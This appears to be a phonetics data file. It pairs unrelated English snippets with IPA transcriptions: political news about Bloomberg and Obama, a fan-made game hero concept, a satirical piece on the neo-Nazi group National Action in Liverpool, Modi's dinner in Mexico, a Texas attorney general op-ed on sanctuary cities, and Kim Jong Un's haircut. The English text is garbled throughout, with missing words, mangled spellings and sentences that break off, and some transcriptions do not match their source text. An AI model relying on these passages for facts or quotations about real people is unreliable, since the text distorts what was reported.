ˈblumbərg həz ˈgɔtən mɔr ɪnˈgeɪʤd ɪn ɪˈlɛktərəl ˈpɑləˌtɪks ɪn ðə pæst fju wiks, ˈjuzɪŋ hɪz tɪ fənd ə ˈsupər pæk ðət ˈsinjər ædˈvaɪzər ənd ˈkɑrənt ˈdɛpjəti meɪər haʊərd ˈwʊlfsən ɪz ˈrənɪŋ. ˈblumbərg ɪz nɑt ə pʊl. bət ˈkəpəld wɪθ ðə wɔrm wərdz frəm nu ˈʤərzi gəv. krɪs ˈkrɪsti, huz steɪt wɑz ˈsɪmələrli ˈbætərd baɪ ðə stɔrm, ˌoʊˈbɑmə həz hæd tu deɪz ɪn wɪʧ ðə ˈkeɪbəl nuz ˈfoʊkɪs ɪz goʊɪŋ tɪ bi ɔn ðə stɔrm ənd ɔn ˌtɛstɪˈmoʊniəlz əˈbaʊt ɪm. ˈmæˌgi ˈheɪbərmən ɪz ˈsinjər pəˈlɪtɪkəl rɪˈpɔrtər fər pəˈlɪtɪˌkoʊ. |
hero concept
drek'thar chieftain
the elder shaman of the clan, served as tutor many years ago. he found the spirits of the elements to be close companions, so shamanism became his path to might. he now comes to the nexus to show is elemental power.
trait: feral spirits is assisted in combat by 2 spirit wolves. each wolf shares the base basic attack damage and attack speed with. always attack's target
abilities storm strike mana cost: 60 cooldown: 6 sec energizes both your weapons with lightning, dealing 275 (+4% per level) empower mana cost: 20 cooldown: swap between and weapon enhancements. increases basic attack damage by 80. causes your enemy to burn for 20 over 5 seconds. this can stack. your basic attacks also cleave grace mana cost: 50 cooldown: 14 sec remove all roots and slows and increase movement speed by 25% for 2 seconds. | ˈhɪroʊ ˈkɑnsɛpt ˈʧiftən ðə ˈɛldər ˈʃeɪmən əv ðə klæn, sərvd ɛz ˈtutər ˈmɛni jɪrz əˈgoʊ. hi faʊnd ðə ˈspɪrɪts əv ðə ˈɛləmənts tɪ bi kloʊz kəmˈpænjənz, soʊ ˈʃeɪməˌnɪzm bɪˈkeɪm hɪz pæθ tɪ maɪt. hi naʊ kəmz tɪ ðə ˈnɛksəs tɪ ʃoʊ ɪz ˌɛləˈmɛnəl paʊər. treɪt: ˈfɛrəl ˈspɪrɪts ɪz əˈsɪstɪd ɪn ˈkɑmbæt baɪ 2 ˈspɪrɪt wʊlvz. iʧ wʊlf ʃɛrz ðə beɪs ˈbeɪsɪk əˈtæk ˈdæmɪʤ ənd əˈtæk spid wɪθ. ˈɔlˌweɪz əˈtæk ˈtərgət əˈbɪləˌtiz stɔrm straɪk ˈmɑnə kɔst: 60 cooldown*: 6 sɛk ˈɛnərˌʤaɪzɪz boʊθ jʊr ˈwɛpənz wɪθ ˈlaɪtnɪŋ, ˈdilɪŋ 275 4 pər ˈlɛvəl) ɪmˈpaʊər ˈmɑnə kɔst: 20 cooldown*: swɑp bɪtˈwin ənd ˈwɛpən ɛnˈhænsmənts. ˌɪnˈkrisɪz ˈbeɪsɪk əˈtæk ˈdæmɪʤ baɪ 80 ˈkɔzɪz jʊr ˈɛnəmi tɪ bərn fər 20 ˈoʊvər 5 ˈsɛkəndz. ðɪs kən stæk. jʊr ˈbeɪsɪk əˈtæks ˈɔlsoʊ kliv greɪs ˈmɑnə kɔst: 50 cooldown*: 14 sɛk riˈmuv ɔl ruts ənd sloʊz ənd ˌɪnˈkris ˈmuvmənt spid baɪ 25 fər 2 ˈsɛkəndz. |
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neo-nazi group national action returned to liverpool last weekend, and nobody gave them a blind bit of notice.
the fascist group a 'white man march' in august but failed to even make it out of limereetation after being cordoned into the left luggage section and pelted with eggs by protesters opposing the event.
however, last weekend they returned to the city unannounced and nobody even noticed until they posted a blog entry a week later, claiming they'd 'smashed' liverpool.
that time thes returned to liverpool and nobody even noticed
that time they used a video of the in their own propaganda video
that time they 'stormed' (with about 18 members)
although their blog post claimed there were more than 30 na 'militants' in the city, viewers people that can count could see no more than 20.
... when it was 'packed with tourists'
that time they said their slogans 'rang through thereets'
here they can be seen with a handful of members and one man with a megaphone.
that time they protested outside the town hall... and it was closed because it was a saturday.
rule number one of planning a protest: always google the opening hours.
remember that time they claim they 'brought a small city to aandill?'....
.... but it was really that time they got cordoned in the lost property depot.
the original 'white man march' resulted in a group of na 'militants' being cordoned into lost luggage at lime before getting the train back home... to the or wherever it is that nazis live.
gallery: last time national action tried to march in our city | gɪt ðə ˈbɪgəst ˈdeɪli ˈstɔriz baɪ iˈmeɪl səbˈskraɪb θæŋk ju fər səbˈskraɪbɪŋ wi hæv mɔr ˈnuzˌlɛtərz ʃoʊ mi si ɑr ˈpraɪvəsi ˈnoʊtɪs kʊd nɑt səbˈskraɪb, traɪ əˈgɛn ˈleɪtər ˌɪnˈvæləd iˈmeɪl grup ˈnæʃənəl ˈækʃən rɪˈtərnd tɪ ˈlɪvərˌpul læst ˈwiˌkɪnd, ənd ˈnoʊˌbɑˌdi geɪv ðɛm ə blaɪnd bɪt əv ˈnoʊtɪs. ðə ˈfæʃɪst grup ə 'waɪt mæn mɑrʧ' ɪn ˈɔgəst bət feɪld tɪ ˈivɪn meɪk ɪt aʊt əv laɪm strit ˈsteɪʃən ˈæftər biɪŋ ˈkɔrdənd ˈɪntu ðə lɛft ˈləgɪʤ ˈsɛkʃən ənd ˈpɛltɪd wɪθ ɛgz baɪ ˈproʊˌtɛstərz əˈpoʊzɪŋ ðə ɪˈvɛnt. ˌhaʊˈɛvər, læst ˈwiˌkɪnd ðeɪ rɪˈtərnd tɪ ðə ˈsɪti ˌənəˈnaʊnst ənd ˈnoʊˌbɑˌdi ˈivɪn ˈnoʊtɪst ənˈtɪl ðeɪ ˈpoʊstɪd ə blɔg ˈɛntri ə wik ˈleɪtər, ˈkleɪmɪŋ ðeɪd 'smæʃt' ˈlɪvərˌpul. ðət taɪm ðə rɪˈtərnd tɪ ˈlɪvərˌpul ənd ˈnoʊˌbɑˌdi ˈivɪn ˈnoʊtɪst ðət taɪm ðeɪ juzd ə ˈvɪdioʊ əv ðə ɪn ðɛr oʊn ˌprɑpəˈgændə ˈvɪdioʊ ðət taɪm ðeɪ 'stɔrmd' (wɪθ əˈbaʊt 18 ˈmɛmbərz) ˌɔlˈðoʊ ðɛr blɔg poʊst kleɪmd ðɛr wər mɔr ðən 30 nɑ 'ˈmɪlətənts' ɪn ðə ˈsɪti, vjuərz ˈpipəl ðət kən kaʊnt kʊd si noʊ mɔr ðən 20 wɪn ɪt wɑz 'pækt wɪθ ˈtʊrɪsts' ðət taɪm ðeɪ sɛd ðɛr sˈloʊgənz 'ræŋ θru ðə strits' hir ðeɪ kən bi sin wɪθ ə ˈhændˌfʊl əv ˈmɛmbərz ənd wən mæn wɪθ ə ˈmɛgəˌfoʊn. ðət taɪm ðeɪ ˈproʊˌtɛstəd ˈaʊtˈsaɪd ðə taʊn hɔl... ənd ɪt wɑz kloʊzd bɪˈkəz ɪt wɑz ə ˈsæˌtɪˌdeɪ. rul ˈnəmbər wən əv ˈplænɪŋ ə ˈproʊˌtɛst: ˈɔlˌweɪz ˈgugəl ðə ˈoʊpənɪŋ aʊərz. rɪˈmɛmbər ðət taɪm ðeɪ kleɪm ðeɪ 'brɔt ə smɔl ˈsɪti tɪ ə stænd stɪl?'.... bət ɪt wɑz ˈrɪli ðət taɪm ðeɪ gɑt ˈkɔrdənd ɪn ðə lɔst ˈprɑpərti ˈdipoʊ. ðə ərˈɪʤənəl 'waɪt mæn mɑrʧ' rɪˈzəltɪd ɪn ə grup əv nɑ 'ˈmɪlətənts' biɪŋ ˈkɔrdənd ˈɪntu lɔst ˈləgɪʤ æt laɪm ˌbiˈfɔr ˈgɪtɪŋ ðə treɪn bæk hoʊm... tɪ ðə ər wɛˈrɛvər ɪt ɪz ðət ˈnɑtsiz lɪv. ˈgæləri: læst taɪm ˈnæʃənəl ˈækʃən traɪd tɪ mɑrʧ ɪn ɑr ˈsɪti |
in a very special personally drives to a restaurant for mexican vegetarian fare
— (@meaindia) june 9, 2016
bonding over bean tacos! president and pm share a meal
— (@meaindia) june 9, 2016
pm ends by quoting octavio paz “i can understand what it means to be indian, because i am mexican” says its true the other way too.
— (@meaindia) june 9, 2016
new delhi: pm cup over in mexico city got a rapturous welcome from the indian community in mexico city. then, he got president enrique nieto's "positive and constructive support" for india's bid to join the nuclear suppliers group to top it all, nieto personally drove pm modi for a vegetarian dinner to , one of the world's top 50 restaurants of pm and nieto "bonding over bean tacos!" external affairs ministry spokesman.modi is the first indian pm to go on a state visit to mexico, since former pm rajiv gandhi's trip in to be sure, there must have been a lot more than bean tacos on the table. president nieto certainly picked well for the pm, a strict put the restaurant at number 35 in the world last year, it specifically mentioned its vegetarian meat is a feature on the tasting menu, (chef jorge) vallejo aims to highlight the value of fruit and vegetables, as much for their as for their nutritional value. dishes on the tasting menu include huazontles, a green vegetable that vaguely resembles broccoli, with chiapas cheese and red tomato, and cactus snow," the has also been lauded for being environmentally conscious. a large part of the reason for india wanting membership is so it can move forward in its effort to stem climate restaurant then was perhaps a perfect venue for modi and nieto to chat more about the latter's ''constructive'' a strong commitment to reducing the ecological footprint of its food, also sources much of its produce from its own urban orchard. while the majority of food in mexico travels on average some from origin to plate, at much of it is picked on a daily basis and travels just 30 waiting to see if would tweet what dessert pm modi had, would have been disappointed, because didn't. if one were to guess, modi might just have opted for something a little familiar from the dessert menu: with sweetened corn crumble and ice all, modi did say - in a nod to mexico's son octavio paz - "i can understand what it means to be mexican, because i am indian". | ɪn ə ˈvɛri ˈspɛʃəl ˈpərsənəli draɪvz tɪ ə ˈrɛˌstrɑnt fər ˈmɛksəkən ˌvɛʤəˈtɛˌriən fɛr (@meaindia*) ʤun 9 2016 ˈbɑndɪŋ ˈoʊvər bin ˈtɑkoʊz! ˈprɛzɪdənt ənd piɛm ʃɛr ə mil (@meaindia*) ʤun 9 2016 piɛm ɛndz baɪ kˈwoʊtɪŋ ˌɑkˈteɪvioʊ pɑz kən ˌəndərˈstænd wət ɪt minz tɪ bi ˈɪndiən, bɪˈkəz aɪ æm mexican”*” sɪz ɪts tru ðə ˈəðər weɪ tu. (@meaindia*) ʤun 9 2016 nu ˈdɛli: piɛm kəp ˈoʊvər ɪn ˈmɛksəˌkoʊ ˈsɪti gɑt ə ˈræpʧərəs ˈwɛlkəm frəm ðə ˈɪndiən kəmˈjunɪti ɪn ˈmɛksəˌkoʊ ˈsɪti. ðɛn, hi gɑt ˈprɛzɪdənt ɛnˈrikeɪ ˈniətoʊz "ˈpɑzətɪv ənd kənˈstrəktɪv səˈpɔrt" fər ˈɪndiəz bɪd tɪ ʤɔɪn ðə ˈnukliər səˈplaɪərz grup tɪ tɔp ɪt ɔl, ˈniətoʊ ˈpərsənəli droʊv piɛm ˈmoʊdi fər ə ˌvɛʤəˈtɛˌriən ˈdɪnər tɪ wən əv ðə wərldz tɔp 50 ˈrɛˌstrɑnts əv piɛm ənd ˈniətoʊ "ˈbɑndɪŋ ˈoʊvər bin ˈtɑkoʊz!" ɪkˈstərnəl əˈfɛrz ˈmɪnɪstri ˈspoʊksmən ɪz ðə fərst ˈɪndiən piɛm tɪ goʊ ɔn ə steɪt ˈvɪzɪt tɪ ˈmɛksəˌkoʊ, sɪns ˈfɔrmər piɛm rɑˈʤiv ˈgɑndiz trɪp ɪn tɪ bi ʃʊr, ðɛr məst hæv bɪn ə lɔt mɔr ðən bin ˈtɑkoʊz ɔn ðə ˈteɪbəl. ˈprɛzɪdənt ˈniətoʊ ˈsərtənli pɪkt wɛl fər ðə piɛm, ə strɪkt pʊt ðə ˈrɛˌstrɑnt æt ˈnəmbər 35 ɪn ðə wərld læst jɪr, ɪt spəˈsɪfɪkli ˈmɛnʃənd ɪts ˌvɛʤəˈtɛˌriən mit ɪz ə ˈfiʧər ɔn ðə ˈteɪstɪŋ ˈmɛnju, (ʃɛf ˈhɔrheɪ) vɑˈleɪjoʊ eɪmz tɪ ˈhaɪˌlaɪt ðə ˈvælju əv frut ənd ˈvɛʤtəbəlz, ɛz məʧ fər ðɛr ɛz fər ðɛr nuˈtrɪʃənəl ˈvælju. ˈdɪʃɪz ɔn ðə ˈteɪstɪŋ ˈmɛnju ˌɪnˈklud huazontles*, ə grin ˈvɛʤtəbəl ðət ˈveɪgli rɪˈzɛmbəlz ˈbrɑkəli, wɪθ ʧiˈɑpəs ʧiz ənd rɛd təˈmɑˌtoʊ, ənd ˈkæktəs snoʊ," ðə həz ˈɔlsoʊ bɪn ˈlɔdɪd fər biɪŋ ɪnˌvaɪrənˈmɛnəli ˈkɑnʃəs. ə lɑrʤ pɑrt əv ðə ˈrizən fər ˈɪndiə ˈwɑnɪŋ ˈmɛmbərˌʃɪp ɪz soʊ ɪt kən muv ˈfɔrwərd ɪn ɪts ˈɛfərt tɪ stɛm ˈklaɪmɪt ˈrɛˌstrɑnt ðɛn wɑz pərˈhæps ə ˈpərˌfɪkt ˈvɛnju fər ˈmoʊdi ənd ˈniətoʊ tɪ ʧæt mɔr əˈbaʊt ðə ˈlætərz ''kənˈstrəktɪv'' ə strɔŋ kəˈmɪtmənt tɪ rɪˈdusɪŋ ðə ɛkəˈlɑʤɪkəl ˈfʊtˌprɪnt əv ɪts fud, ˈɔlsoʊ ˈsɔrsəz məʧ əv ɪts ˈproʊdus frəm ɪts oʊn ˈərbən ˈɔrʧərd. waɪl ðə məˈʤɔrəti əv fud ɪn ˈmɛksəˌkoʊ ˈtrævəlz ɔn ˈævərɪʤ səm frəm ˈɔrəʤən tɪ pleɪt, æt məʧ əv ɪt ɪz pɪkt ɔn ə ˈdeɪli ˈbeɪsɪs ənd ˈtrævəlz ʤɪst 30 ˈweɪtɪŋ tɪ si ɪf wʊd twit wət dɪˈzərt piɛm ˈmoʊdi hæd, wʊd hæv bɪn ˌdɪsəˈpɔɪnɪd, bɪˈkəz ˈdɪdənt. ɪf wən wər tɪ gɛs, ˈmoʊdi maɪt ʤɪst hæv ˈɑptɪd fər ˈsəmθɪŋ ə ˈlɪtəl fəˈmɪljər frəm ðə dɪˈzərt ˈmɛnju: wɪθ sˈwitənd kɔrn ˈkrəmbəl ənd aɪs ɔl, ˈmoʊdi dɪd seɪ ɪn ə nɑd tɪ ˈmɛksəˌkoʊz sən ˌɑkˈteɪvioʊ pɑz "aɪ kən ˌəndərˈstænd wət ɪt minz tɪ bi ˈmɛksəkən, bɪˈkəz aɪ æm ˈɪndiən". |
editor’s note: this was written and submitted to texas by texas attorney general ken paxton
politics has a nasty habit of good policy. in the case of so-called sanctuary cities, it also manages to overwhelm our otherwise commitment to the rule of law.
next year, travis county will welcome a new sheriff, sally hernandez, into office. the has taken a careless stance on immigration in that she has fervently and publically rebuked her policy of cooperating with the u.s. immigration and customs enforcement, or ice, when it requested that the office hold inmates so that they might be removed from the country.
were we to take the’s campaign promises at face value, austin would be the first texas municipality to fully qualify as a “sanctuary city.”
the defends her radical departure of existing law by attempting to wrap immigration enforcement in a swath of social justice causes. she think, for instance, that “you solve the criminal justice process by deporting them.” likewise, she calls policies “discriminatory” and has urged for a more “progressive” approach to “treat everybody fairly and equally.”
never mind that current deportation standards originated in the obama administration which, at least since 2011, has chiefly focused its enforcement effort at undocumented immigrants convicted of the most violent and heinous crimes.
popular attacks aside, the government has little interest in breaking up families; nor do they seek to deport victims who bring incidents of misconduct to the attention of authorities.
hernandez’s reasoning is one of ideology, not facts. it advances a narrative that lauds the appearance of compassion towards immigrants but never truly confronts the substance or how non-compliance can hurt the very audience that sanctuary cities are said to help.
had hernandez done so, she would have realized that sanctuary cities are the policy equivalent of a dead end. nothing moves forward. not public safety. not the rule of law. certainly not the men, women, and children who thirst for the american dream but have had the forbearance to pursue it through appropriate means.
indeed, our nation enjoys a proud history of lawful immigration. you might even call it our cultural backbone. and you would be hard pressed to find a constituency on either side of the political aisle who wants that tradition to stop.
sanctuary cities, however, implicate different concerns.
exit polls in the last presidential race showed that trump won a higher percentage of the hispanic vote than the republican two previous nominees. he secured that margin even though the experts had anticipated that his rhetoric against sanctuary cities and illegal immigration would hobble him in the hispanic community.
the results are hardly a surprise when you actually take the time to learn about what matters to voters. according to that same exit poll, voters understood that lawlessness hurts immigrants who seek to enter the country legally since it makes it more difficult, more expensive, and more to navigate the process.
the united states is a generous nation, but policymakers are unlikely to widen the if the halls are already crowded.
in addition, by cutting holes into the federal enforcement fabric, sanctuary cities imperil public safety. dangerous criminal elements now know that if deported, they have a safe place to land upon like denver, seattle, new york city, philadelphia, austin.
“kate’s law,” named for murder victim kate steinle, mandates prison terms for those with multiple deportations and is a response to san sanctuary city policies, which fails to provide for the protection of its citizens.
even here in texas, where sanctuary cities have yet to gain full traction, residents have suffered from repeat offenders able to exploit holes in our immigration laws. nicodemo was deported multiple times, only to return and commit a series of rapes in the austin area. a prime example of the criminal element which will be emboldened by the’s renegade policies.
we cannot allow individuals to avoid justice and accountability. we cannot allow sanctuary cities to harbor these criminals. we cannot allow city officials to skirt the law at their whim.
this upcoming session, the texas legislature will make ending sanctuary cities a top priority. already, several bills have been filed to that effect, including s.b. 4, which would allow law enforcement to investigate a immigration status as well as demand that municipalities implement immigration laws already on the books.
governor greg abbott has endorsed the sentiment behind these efforts, promising “to sign a law that bans sanctuary cities.” he also tweeted, “i’ve already issued an order cutting funding to sanctuary cities” in the meantime.
lt. governor dan patrick has echoed with his own support: “no city in texas should be allowed to ignore the law. we will end this practice once and for all this session.”
sanctuary cities argue for keeping illegal immigrant families together, yet they ignore that kate family is forever shattered. americans overwhelmingly understand that one of our first duties as a nation is to protect our citizens. it is time that the and other local officials in texas learn the same lesson. | editor’s* noʊt: ðɪs wɑz ˈrɪtən ənd səbˈmɪtəd tɪ ˈtɛksəs baɪ ˈtɛksəs əˈtərni ˈʤɛnərəl kɛn ˈpækstən ˈpɑləˌtɪks həz ə ˈnæsti ˈhæbət əv gʊd ˈpɑləsi. ɪn ðə keɪs əv ˈsoʊˈkɔld ˈsæŋkʧuˌɛri ˈsɪtiz, ɪt ˈɔlsoʊ ˈmænɪʤɪz tɪ ˌoʊvərˈwɛlm ɑr ˈəðərˌwaɪz kəˈmɪtmənt tɪ ðə rul əv lɔ. nɛkst jɪr, ˈtrævɪs ˈkaʊnti wɪl ˈwɛlkəm ə nu ˈʃɛrɪf, ˈsæli hərˈnændɛz, ˈɪntu ˈɔfəs. ðə həz ˈteɪkən ə ˈkɛrlɛs stæns ɔn ˌɪməˈgreɪʃən ɪn ðət ʃi həz ˈfərvəntli ənd ˈpəblɪkli rɪˈbjukt hər ˈpɑləsi əv koʊˈɑpərˌeɪtɪŋ wɪθ ðə juz. ˌɪməˈgreɪʃən ənd ˈkəstəmz ɛnˈfɔrsmənt, ər aɪs, wɪn ɪt rɪkˈwɛstɪd ðət ðə ˈɔfəs hoʊld ˈɪnˌmeɪts soʊ ðət ðeɪ maɪt bi riˈmuvd frəm ðə ˈkəntri. wər wi tɪ teɪk ðə kæmˈpeɪn ˈprɑməsəz æt feɪs ˈvælju, ˈɔstən wʊd bi ðə fərst ˈtɛksəs mˌjunɪsəˈpæləti tɪ ˈfʊli kˈwɑləˌfaɪ ɛz ə city.”*.” ðə dɪˈfɛndz hər ˈrædɪkəl dɪˈpɑrʧər əv ɪgˈzɪstɪŋ lɔ baɪ əˈtɛmptɪŋ tɪ ræp ˌɪməˈgreɪʃən ɛnˈfɔrsmənt ɪn ə swɑθ əv ˈsoʊʃəl ˈʤəstɪs ˈkɔzɪz. ʃi θɪŋk, fər ˈɪnstəns, ðət sɑlv ðə ˈkrɪmənəl ˈʤəstɪs ˈprɔˌsɛs baɪ dɪˈpɔrtɪŋ them.”*.” ˈlaɪkˌwaɪz, ʃi kɔlz ˈpɑləsiz ““discriminatory”*” ənd həz ərʤd fər ə mɔr ““progressive”*” əˈproʊʧ tɪ ˈɛvriˌbɑdi ˈfɛrli ənd equally.”*.” ˈnɛvər maɪnd ðət ˈkɑrənt ˌdipɔrˈteɪʃən ˈstændərdz ərˈɪʤəˌneɪtəd ɪn ðə ˌoʊˈbɑmə ædˌmɪnɪˈstreɪʃən wɪʧ, æt list sɪns 2011 həz ˈʧifli ˈfoʊkɪst ɪts ɛnˈfɔrsmənt ˈɛfərt æt ənˈdɑkjəmɛnɪd ˈɪməgrənts kənˈvɪktəd əv ðə moʊst ˈvaɪələnt ənd ˈheɪnəs kraɪmz. ˈpɑpjələr əˈtæks əˈsaɪd, ðə ˈgəvərnmənt həz ˈlɪtəl ˈɪntəˌrɛst ɪn ˈbreɪkɪŋ əp ˈfæməliz; nɔr du ðeɪ sik tɪ dɪˈpɔrt ˈvɪktɪmz hu brɪŋ ˈɪnsədənts əv mɪˈskɑndəkt tɪ ðə əˈtɛnʃən əv əˈθɔrətiz. ˈrizənɪŋ ɪz wən əv ˌaɪdiˈɑləʤi, nɑt fækts. ɪt ədˈvænsɪz ə ˈnɛrətɪv ðət lɔdz ðə əˈpɪrəns əv kəmˈpæʃən təˈwɔrdz ˈɪməgrənts bət ˈnɛvər ˈtruli kənˈfrənts ðə ˈsəbstəns ər haʊ ˌnɑnkəmˈplaɪəns kən hərt ðə ˈvɛri ˈɔdiəns ðət ˈsæŋkʧuˌɛri ˈsɪtiz ər sɛd tɪ hɛlp. hæd hərˈnændɛz dən soʊ, ʃi wʊd hæv ˈriəˌlaɪzd ðət ˈsæŋkʧuˌɛri ˈsɪtiz ər ðə ˈpɑləsi ɪkˈwɪvələnt əv ə dɛd ɛnd. ˈnəθɪŋ muvz ˈfɔrwərd. nɑt ˈpəblɪk ˈseɪfti. nɑt ðə rul əv lɔ. ˈsərtənli nɑt ðə mɛn, ˈwɪmən, ənd ˈʧɪldrən hu θərst fər ðə əˈmɛrɪkən drim bət hæv hæd ðə fɔrˈbɛrəns tɪ pərˈsu ɪt θru əˈproʊpriˌeɪt minz. ˌɪnˈdid, ɑr ˈneɪʃən ˌɛnˈʤɔɪz ə praʊd ˈhɪstəri əv ˈlɔfəl ˌɪməˈgreɪʃən. ju maɪt ˈivɪn kɔl ɪt ɑr ˈkəlʧərəl ˈbækˌboʊn. ənd ju wʊd bi hɑrd prɛst tɪ faɪnd ə kənˈstɪʧuənsi ɔn ˈiðər saɪd əv ðə pəˈlɪtɪkəl aɪəl hu wɔnts ðət trəˈdɪʃən tɪ stɑp. ˈsæŋkʧuˌɛri ˈsɪtiz, ˌhaʊˈɛvər, ˈɪmplɪˌkeɪt ˈdɪfərənt kənˈsərnz. ˈɛksət poʊlz ɪn ðə læst ˌprɛzɪˈdɛnʃəl reɪs ʃoʊd ðət trəmp wən ə haɪər pərˈsɛnɪʤ əv ðə hɪˈspænɪk voʊt ðən ðə rɪˈpəblɪkən tu ˈpriviəs ˌnɑməˈniz. hi sɪˈkjʊrd ðət ˈmɑrʤən ˈivɪn ðoʊ ðə ˈɛkspərts hæd ænˈtɪsəˌpeɪtɪd ðət hɪz ˈrɛtərɪk əˈgɛnst ˈsæŋkʧuˌɛri ˈsɪtiz ənd ˌɪˈligəl ˌɪməˈgreɪʃən wʊd ˈhɑbəl ɪm ɪn ðə hɪˈspænɪk kəmˈjunɪti. ðə rɪˈzəlts ər ˈhɑrdli ə səˈpraɪz wɪn ju ˈæˌkʧuəli teɪk ðə taɪm tɪ lərn əˈbaʊt wət ˈmætərz tɪ ˈvoʊtərz. əˈkɔrdɪŋ tɪ ðət seɪm ˈɛksət poʊl, ˈvoʊtərz ˌəndərˈstʊd ðət ˈlɔləsnəs hərts ˈɪməgrənts hu sik tɪ ˈɛnər ðə ˈkəntri ˈligəli sɪns ɪt meɪks ɪt mɔr ˈdɪfəkəlt, mɔr ɪkˈspɛnsɪv, ənd mɔr tɪ ˈnævəˌgeɪt ðə ˈprɔˌsɛs. ðə juˈnaɪtɪd steɪts ɪz ə ˈʤɛnərəs ˈneɪʃən, bət ˈpɑləsiˌmeɪkərz ər ənˈlaɪkli tɪ ˈwaɪdən ðə ɪf ðə hɔlz ər ɔˈrɛdi ˈkraʊdɪd. ɪn əˈdɪʃən, baɪ ˈkətɪŋ hoʊlz ˈɪntu ðə ˈfɛdərəl ɛnˈfɔrsmənt ˈfæbrɪk, ˈsæŋkʧuˌɛri ˈsɪtiz ˌɪmˈpɛrəl ˈpəblɪk ˈseɪfti. ˈdeɪnʤərəs ˈkrɪmənəl ˈɛləmənts naʊ noʊ ðət ɪf dɪˈpɔrtəd, ðeɪ hæv ə seɪf pleɪs tɪ lænd əˈpɑn laɪk ˈdɛnvər, siˈætəl, nu jɔrk ˈsɪti, ˌfɪləˈdɛlfiə, ˈɔstən. law,”*,” neɪmd fər ˈmərdər ˈvɪktɪm keɪt ˈstaɪnəl, ˈmænˌdeɪts ˈprɪzən tərmz fər ðoʊz wɪθ ˈməltəpəl ˌdipɔrˈteɪʃənz ənd ɪz ə rɪˈspɑns tɪ sæn ˈsæŋkʧuˌɛri ˈsɪti ˈpɑləsiz, wɪʧ feɪlz tɪ prəˈvaɪd fər ðə prəˈtɛkʃən əv ɪts ˈsɪtɪzənz. ˈivɪn hir ɪn ˈtɛksəs, wɛr ˈsæŋkʧuˌɛri ˈsɪtiz hæv jɛt tɪ geɪn fʊl ˈtrækʃən, ˈrɛzɪdənts hæv ˈsəfərd frəm rɪˈpit əˈfɛndərz ˈeɪbəl tɪ ˌɛkˈsplɔɪt hoʊlz ɪn ɑr ˌɪməˈgreɪʃən lɔz. ˌnikoʊˈdeɪmoʊ wɑz dɪˈpɔrtəd ˈməltəpəl taɪmz, ˈoʊnli tɪ rɪˈtərn ənd kəˈmɪt ə ˈsɪriz əv reɪps ɪn ðə ˈɔstən ˈɛriə. ə praɪm ɪgˈzæmpəl əv ðə ˈkrɪmənəl ˈɛləmənt wɪʧ wɪl bi ɛmˈboʊldənd baɪ ðə ˈrɛnəˌgeɪd ˈpɑləsiz. wi ˈkænɑt əˈlaʊ ˌɪndəˈvɪʤəwəlz tɪ əˈvɔɪd ˈʤəstɪs ənd əˈkaʊntəˌbɪlɪti. wi ˈkænɑt əˈlaʊ ˈsæŋkʧuˌɛri ˈsɪtiz tɪ ˈhɑrbər ðiz ˈkrɪmənəlz. wi ˈkænɑt əˈlaʊ ˈsɪti əˈfɪʃəlz tɪ skərt ðə lɔ æt ðɛr wɪm. ðɪs ˈəpˌkəmɪŋ ˈsɛʃən, ðə ˈtɛksəs ˈlɛʤəsˌleɪʧər wɪl meɪk ˈɛndɪŋ ˈsæŋkʧuˌɛri ˈsɪtiz ə tɔp praɪˈɔrəti. ɔˈrɛdi, ˈsɛvərəl bɪlz hæv bɪn faɪld tɪ ðət ˈifɛkt, ˌɪnˈkludɪŋ s.b*. 4 wɪʧ wʊd əˈlaʊ lɔ ɛnˈfɔrsmənt tɪ ˌɪnˈvɛstəˌgeɪt ə ˌɪməˈgreɪʃən ˈstætəs ɛz wɛl ɛz dɪˈmænd ðət mˌjunɪsəˈpælɪtiz ˈɪmpləmənt ˌɪməˈgreɪʃən lɔz ɔˈrɛdi ɔn ðə bʊks. ˈgəvərnər grɛg ˈæbət həz ɛnˈdɔrst ðə ˈsɛnəmənt bɪˈhaɪnd ðiz ˈɛfərts, ˈprɑməsɪŋ saɪn ə lɔ ðət bænz ˈsæŋkʧuˌɛri cities.”*.” hi ˈɔlsoʊ tweeted*, ɔˈrɛdi ˈɪʃud ən ˈɔrdər ˈkətɪŋ ˈfəndɪŋ tɪ ˈsæŋkʧuˌɛri cities”*” ɪn ðə ˈminˌtaɪm. lt*. ˈgəvərnər dæn ˈpætrɪk həz ˈɛkoʊd wɪθ hɪz oʊn səˈpɔrt: ˈsɪti ɪn ˈtɛksəs ʃʊd bi əˈlaʊd tɪ ˌɪgˈnɔr ðə lɔ. wi wɪl ɛnd ðɪs ˈpræktɪs wəns ənd fər ɔl ðɪs session.”*.” ˈsæŋkʧuˌɛri ˈsɪtiz ˈɑrgju fər ˈkipɪŋ ˌɪˈligəl ˈɪməgrənt ˈfæməliz təˈgɛðər, jɛt ðeɪ ˌɪgˈnɔr ðət keɪt ˈfæməli ɪz fərˈɛvər ˈʃætərd. əˈmɛrɪkənz ˌoʊvərˈwɛlmɪŋli ˌəndərˈstænd ðət wən əv ɑr fərst ˈdutiz ɛz ə ˈneɪʃən ɪz tɪ prəˈtɛkt ɑr ˈsɪtɪzənz. ɪt ɪz taɪm ðət ðə ənd ˈəðər ˈloʊkəl əˈfɪʃəlz ɪn ˈtɛksəs lərn ðə seɪm ˈlɛsən. |
kim, child of north korea, has a new haircut intended to connect him to his grandfather, kim il-sung.
it’s quite the trick, some kind of upside-down that proudly defies the laws of physics.
high brow: a year apart kim jong un in early 2014 and now frank (@frankfeinstein) february 19, 2015
that’s not the only new cosmetic upkeep to grace the now sports eyebrows. who knows why? the guardian calls it “a fine example of current love of style.”
ki lee, founder and creative director of a london salon called hurwundekei, told the guardian that the new ‘do is possible with the efforts of and wax. “it’s not too easy to do on asian hair, but we get a lot of people coming into the salon requesting this sort of volume,” lee said.
lee added that the hairstyle will require a new every few months, if to be maintained. of course, in the mean time, the internet is having a heyday:
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who wore it better? in other news, kim jong un has a new haircut robyn (@robynurback) february 19, 2015
kim jong un has a new haircut and now he looks like guile from street fighter zack beauchamp (@zackbeauchamp) february 19, 2015
via @reddit: how would obama look in a kim haircut sachin (@sachinkalbag) february 20, 2015
enlarged meeting of political bureau of c.c., held under guidance of kim jong un watch (@kcnawatch) february 19, 2015
